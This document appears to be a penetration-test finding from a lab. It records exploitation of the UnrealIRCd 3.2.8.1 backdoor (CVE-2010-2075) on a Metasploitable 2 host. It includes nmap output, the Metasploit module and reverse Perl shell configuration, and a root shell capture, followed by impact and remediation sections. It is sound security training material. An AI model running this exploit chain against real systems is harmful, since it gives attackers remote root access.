

Finding 06 - UnrealIRCd 3.2.8.1 Backdoor Command Execution

Metasploitable 2 | Remote Command Execution / Root Shell

Finding	06
Target	192.168.116.129
Ports	6667/TCP, 6697/TCP
Service	UnrealIRCd
Version	3.2.8.1 (vulnerable backdoored distribution)
Vulnerability	UnrealIRCd 3.2.8.1 Backdoor Command Execution
CVE	CVE-2010-2075
Severity	High (CVSS 3.1: 7.3)
Metasploit Module	exploit/unix/irc/unreal_ircd_3281_backdoor
Payload	cmd/unix/reverse_perl
Result	Successful remote command execution; root command shell session opened

Executive Summary

The target exposes UnrealIRCd on TCP 6667 and 6697. Nmap confirmed the IRC service, and Metasploit identified the UnrealIRCd 3.2.8.1 Backdoor Command Execution module. The module is associated with CVE-2010-2075, which affects certain UnrealIRCd 3.2.8.1 archives containing an externally introduced backdoor. After configuring the target and a reverse Perl command-shell payload, exploitation succeeded and opened a command shell. The captured post-exploitation command `whoami` returned `root`, confirming root-level shell access on the lab target.

1. Discovery

Nmap service detection identified TCP 6667 and 6697 as UnrealIRCd services. The target is the intentionally vulnerable Metasploitable 2 host at 192.168.116.129.

Evidence 1 - Nmap IRC Enumeration

```
(root@kali)-[~]
# nmap -sV -p6667,6697 192.168.116.129
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-04 03:17 EEST
Nmap scan report for 192.168.116.129
Host is up (0.0016s latency).

PORT      STATE SERVICE VERSION
6667/tcp  open  irc     UnrealIRCd
6697/tcp  open  irc     UnrealIRCd
MAC Address: 00:0C:29:28:09:12 (VMware)
Service Info: Host: irc.Metasploitable.LAN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
```

Figure 1. Nmap identification of UnrealIRCd on TCP 6667 and 6697.

2. Vulnerability Identification

Metasploit search returned exploit/unix/irc/unreal_ircd_3281_backdoor, described as UnrealIRCD 3.2.8.1 Backdoor Command Execution, with an Excellent rank. Rapid7 documents this module as exploiting a malicious backdoor present in certain UnrealIRCD 3.2.8.1 download archives and associates it with CVE-2010-2075.

Evidence 2 - Metasploit Module Identification

```
msf6 > search unreal_ircd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent No      UnrealIRCD 3.2.8.1 Backdoor Command Execution
```

Figure 2. Metasploit search result and subsequent module configuration.

3. Exploitation

The module was configured with RHOSTS 192.168.116.129. An initial run without a selected payload did not create a session. The payload was then set to cmd/unix/reverse_perl and LHOST 192.168.116.128. The subsequent run connected to the UnrealIRCD service and opened command shell session 5 through the reverse TCP handler on port 4444.

4. Exploitation Result

The evidence shows Command shell session 5 opened from 192.168.116.128:4444 to 192.168.116.129. The command whoami returned root. This confirms successful remote command execution and root-level shell access in the lab.

Evidence 3 - Successful Root Shell

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.116.129
RHOSTS => 192.168.116.129
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] 192.168.116.129:6667 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  payload/cmd/unix/adduser                .               normal  No      Add user with useradd
1  payload/cmd/unix/bind_perl              .               normal  No      Unix Command Shell, Bind TCP (via Perl)
2  payload/cmd/unix/bind_perl_ipv6         .               normal  No      Unix Command Shell, Bind TCP (via perl) IPv6
3  payload/cmd/unix/bind_ruby              .               normal  No      Unix Command Shell, Bind TCP (via Ruby)
4  payload/cmd/unix/bind_ruby_ipv6         .               normal  No      Unix Command Shell, Bind TCP (via Ruby) IPv6
5  payload/cmd/unix/generic                 .               normal  No      Unix Command, Generic Command Execution
6  payload/cmd/unix/reverse                 .               normal  No      Unix Command Shell, Double Reverse TCP (telnet)
7  payload/cmd/unix/reverse_bash_telnet_ssl .               normal  No      Unix Command Shell, Reverse TCP SSL (telnet)
8  payload/cmd/unix/reverse_perl           .               normal  No      Unix Command Shell, Reverse TCP (via Perl)
9  payload/cmd/unix/reverse_perl_ssl       .               normal  No      Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby           .               normal  No      Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl       .               normal  No      Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet .             normal  No      Unix Command Shell, Double Reverse TCP SSL (telnet)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use 8
[*] Invalid module index: 8
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD payload/cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] 192.168.116.129:6667 - Msf::OptionValidateError One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.116.128
LHOST => 192.168.116.128
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP handler on 192.168.116.128:4444
[*] 192.168.116.129:6667 - Connected to 192.168.116.129:6667...
:irc.Metasploitable.LAN NOTICE AUTH :** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.116.129:6667 - Sending backdoor command...
[*] Command shell session 5 opened (192.168.116.128:4444 -> 192.168.116.129:54515) at 2026-09-04 03:19:52 +0300

whoami
root
```

Figure 3. Successful exploitation using reverse_perl and root shell confirmation with whoami.

5. Impact

An attacker exploiting the backdoor can execute arbitrary commands remotely. In this assessment, exploitation resulted in a command shell running as root, meaning the demonstrated compromise provides full administrative control of the affected lab host. An attacker with this level of access could read or modify system data, install persistence, alter services, and use the host as a pivot point.

6. Remediation

1. Remove the affected UnrealIRCd 3.2.8.1 installation and replace it with a trusted, supported release.
2. Obtain software only from trusted distribution channels and verify package/source integrity.
3. Restrict IRC ports 6667/6697 to networks and hosts that require them.
4. Review the host for indicators of compromise because the demonstrated vulnerability provides root-level command execution.
5. Rotate credentials and secrets if the affected system were ever exposed outside the isolated lab.

7. References

Rapid7 Metasploit: [exploit/unix/irc/unreal_ircd_3281_backdoor](#); Rapid7 Vulnerability Database: CVE-2010-2075; CVE-2010-2075 describes arbitrary command execution caused by an externally introduced modification in affected UnrealIRCd 3.2.8.1 distributions. Rapid7 lists a CVSS 3.1 base score of 7.3 (High).

Assessment note: This finding documents exploitation performed against the intentionally vulnerable Metasploitable 2 laboratory target.